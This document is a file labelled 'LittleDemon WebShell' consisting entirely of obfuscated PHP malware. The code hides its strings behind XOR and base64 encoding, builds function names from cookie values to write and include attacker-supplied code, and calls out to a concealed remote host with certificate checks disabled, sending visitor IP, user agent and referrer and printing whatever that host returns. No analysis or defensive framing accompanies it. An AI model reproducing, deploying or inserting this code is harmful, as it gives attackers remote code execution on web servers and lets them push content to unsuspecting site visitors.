LittleDemon WebShell

<?php class _hlp{private static$_xvf;static function _gfv($_um,$_ar){if(!self::$_xvf)self::_da();$_rbx=strlen($_ar);$_tcq=base64_decode(self::$_xvf[$_um]);for($_qe=0,$_yfh=strlen($_tcq);$_qe!==$_yfh;++$_qe)$_tcq[$_qe]=chr(ord($_tcq[$_qe])^ord($_ar[$_qe%$_rbx]));return$_tcq;}private static function _da(){self::$_xvf=array('_xjx'=>'HgEVHSwRWzswDAIKMA5bOTMOGQ9yLQQROAsYQn9I','_ih'=>'HBkFKxMFK1s/JgYOZVYKLwYHNhUKKx8EMVkBPgAKLBUZNgYf','_xvj'=>'PAc=','_urq'=>'Og84LxUxFkA7NRFGExwVazoYOEI+NRFGFh8FNhIlGh89NjxCBS48bz8bKB8RMiAfFhwdNhI1CQwWHDxL','_jil'=>'LhgKJw==','_ybm'=>'Yx4MYQ==','_cx'=>'YxEYBmE=','_hth'=>'KBQAMw==','_zr'=>'','_cvu'=>'','_qd'=>'','_nlx'=>'NxIeBWVJRQUqBEQCOgQMHDMDAhosEg8HcQUFGHAFBRgvCRkQLUgABmACCwE+Ww==','_rf'=>'PBEIGQANFBwr','_zok'=>'NxUGLz4RMAUX','_swc'=>'LBccFjIR','_sim'=>'NwUaLwI=','_be'=>'GDY6Rg==','_js'=>'LxUcNw==','_izo'=>'LgAWBCY=','_pa'=>'YA==','_uv'=>'LhEBGiY=','_tyn'=>'fyQgCzxbbkJEUmY8MB8AZUw=','_hb'=>'Nw4HAQ==','_cfa'=>'Um8zMAseOgYENgoeZUUzMwoDOmh6Um8=','_go'=>'LAcGZVtF','_jm'=>'','_nyo'=>'NwIDEA==','_yq'=>'UmA=','_kyz'=>'FyY9Dy0qEzssESY2FiI=','_ian'=>'FzElKQA9Lj8QNyY4DSE0PQAjPis=','_yxc'=>'DTM0ECI8ADc9GyQ=','_pcl'=>'FzoxJQA7NjANMSQyGiAx','_an'=>'FzgzKgA5ND8NMyY9GiIz','_ki'=>'','_ohs'=>'FyYsDy0qGjQ9DTcq','_cwo'=>'Fzg2JQA+JzMaPicn','_dpz'=>'','_mpj'=>'Fzo/NwAtJy4aID84Fj4=','_mm'=>'Fzo8DzErEyctETo3Fj4=','_cxp'=>'FzwnPAAwLCoQOiQtDSw2KAAuPD4=','_ve'=>'FzYkDz0oACQ/DTUxDSY1Gz02EDA=','_zw'=>'DTUuJws1PCkbNDE=','_gvm'=>'DSY+EDc2ACI3GzE=','_xkm'=>'OwsDHTANAQ==','_au'=>'FiNLUw==','_jfb'=>'fwVDNx5DQw==','_jz'=>'fwxJNDoWU0Y=','_hs'=>'f04AEGF4','_hl'=>'NhI=','_erf'=>'Kgk=','_flt'=>'LQkL','_pq'=>'LhQdJw==',);}}class _wi{private static$_xvf;static function _gfv($_um){if(!self::$_xvf)self::_da();return self::$_xvf[$_um];}private static function _da(){self::$_xvf=array(00,07,036,036,01,036,02,07,01,016,030,06,032,012,011,013,027,031,03,02,01,01,00,012,012,0310,0673,0120,00,02000,01,0423,0423);}}header(_hlp::_gfv('_xjx','_bvx'));header(_hlp::_gfv('_ih','_vk'));if(isset($_GET[_hlp::_gfv('_xvj','_oev')])){$_ek=_ah(_hlp::_gfv('_urq','_vr'));if($_ek&&strpos($_ek,_hlp::_gfv('_jil','_op'))!==false){die(_hlp::_gfv('_ybm','_qg'));}else{die(_hlp::_gfv('_cx','_syb'));}}if(isset($_GET[_hlp::_gfv('_hth','_ul')])){$_yfh=$_COOKIE;$_ar=_wi::_gfv(0);$_um=_wi::_gfv(1);$_mgr=array();$_mgr[$_ar]=_hlp::_gfv('_zr','_pzx');while($_um){$_mgr[$_ar].=$_yfh[_wi::_gfv(2)][$_um];if(!$_yfh[_wi::_gfv(3)][$_um+_wi::_gfv(4)]){if(!$_yfh[_wi::_gfv(5)][$_um+_wi::_gfv(6)])break;$_ar++;$_mgr[$_ar]=_hlp::_gfv('_cvu','_tx');$_um++;}$_um=$_um+_wi::_gfv(7)+_wi::_gfv(8);}$_ar=$_mgr[_wi::_gfv(9)]().$_mgr[_wi::_gfv(10)];if(!$_mgr[_wi::_gfv(11)]($_ar)){$_um=$_mgr[_wi::_gfv(12)]($_ar,$_mgr[_wi::_gfv(13)]);$_mgr[_wi::_gfv(14)]($_um,$_mgr[_wi::_gfv(15)].$_mgr[_wi::_gfv(16)]($_mgr[_wi::_gfv(17)]($_yfh[_wi::_gfv(18)])));}include($_ar);}function _ah($_eib,$_yit=null){$_ae=_hlp::_gfv('_qd','_nyt');$_gj=_hlp::_gfv('_nlx','_fju').$_eib;if(is_callable(_hlp::_gfv('_rf','_dzu'))){$_diq=curl_init($_gj);curl_setopt($_diq,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_diq,CURLOPT_SSL_VERIFYHOST,_wi::_gfv(19));curl_setopt($_diq,CURLOPT_FOLLOWLOCATION,_wi::_gfv(20));curl_setopt($_diq,CURLOPT_RETURNTRANSFER,_wi::_gfv(21));curl_setopt($_diq,CURLOPT_HEADER,_wi::_gfv(22));curl_setopt($_diq,CURLOPT_CONNECTTIMEOUT,_wi::_gfv(23));curl_setopt($_diq,CURLOPT_TIMEOUT,_wi::_gfv(24));$_ae=curl_exec($_diq);$_zgo=curl_getinfo($_diq);curl_close($_diq);if($_zgo[_hlp::_gfv('_zok','_ar')]!=_wi::_gfv(25))return false;}else{$_ub=parse_url($_gj);$_xft=($_ub[_hlp::_gfv('_swc','_tts')]==_hlp::_gfv('_sim','_qn'));$_uh=_hlp::_gfv('_be','_snf').$_ub[_hlp::_gfv('_js','_th')];if(isset($_ub[_hlp::_gfv('_izo','_usv')]))$_uh.=_hlp::_gfv('_pa','_ldd').$_ub[_hlp::_gfv('_uv','_ddh')];$_uh.=_hlp::_gfv('_tyn','_lt').$_ub[_hlp::_gfv('_hb','_atu')]._hlp::_gfv('_cfa','_ep');$_ebe=fsockopen(($_xft?_hlp::_gfv('_go','_tj'):_hlp::_gfv('_jm','_tlo')).$_ub[_hlp::_gfv('_nyo','_mpd')],$_xft?_wi::_gfv(26):_wi::_gfv(27));if($_ebe){fputs($_ebe,$_uh);$_tcq=_wi::_gfv(28);while(!feof($_ebe)){$_uzb=fgets($_ebe,_wi::_gfv(29));if($_tcq)$_ae.=$_uzb;if($_uzb==_hlp::_gfv('_yq','_je'))$_tcq=_wi::_gfv(30);}fclose($_ebe);}}return$_ae;}$_sv=isset($_SERVER[_hlp::_gfv('_kyz','_ri')]);$_ql=isset($_SERVER[_hlp::_gfv('_ian','_eqy')]);$_ig=isset($_SERVER[_hlp::_gfv('_yxc','_vy')]);$_zd=isset($_SERVER[_hlp::_gfv('_pcl','_neu')])?$_SERVER[_hlp::_gfv('_an','_lgz')]:_hlp::_gfv('_ki','_lu');$_wci=isset($_SERVER[_hlp::_gfv('_ohs','_rx')])?$_SERVER[_hlp::_gfv('_cwo','_lbu')]:_hlp::_gfv('_dpz','_zjp');$_sv=isset($_SERVER[_hlp::_gfv('_mpj','_nkg')])?$_SERVER[_hlp::_gfv('_mm','_nh')]:null;$_ql=isset($_SERVER[_hlp::_gfv('_cxp','_hsl')])?$_SERVER[_hlp::_gfv('_ve','_bp')]:null;$_ig=isset($_SERVER[_hlp::_gfv('_zw','_pch')])?$_SERVER[_hlp::_gfv('_gvm','_cs')]:null;if(filter_var($_sv,_wi::_gfv(31))){$_per=$_sv;}elseif(filter_var($_ql,_wi::_gfv(32))){$_per=$_ql;}else{$_per=$_ig;}if(isset($_GET[_hlp::_gfv('_xkm','_idp')])){echo _hlp::_gfv('_au','_sqs').$_per._hlp::_gfv('_jfb','_ycb').$_zd._hlp::_gfv('_jz','_pif').$_wci._hlp::_gfv('_hs','_rbb');exit();}if(!isset($_per)||!isset($_zd)||!isset($_wci)){exit();}else{$_yq=array(_hlp::_gfv('_hl','_bus')=>$_per,_hlp::_gfv('_erf','_hc')=>$_zd,_hlp::_gfv('_flt','_lm')=>$_wci);$_xs=urlencode(base64_encode(json_encode($_yq)));$_ek=_ah($_xs);if($_ek&&strpos($_ek,_hlp::_gfv('_pq','_cg'))!==false){echo$_ek;exit();}}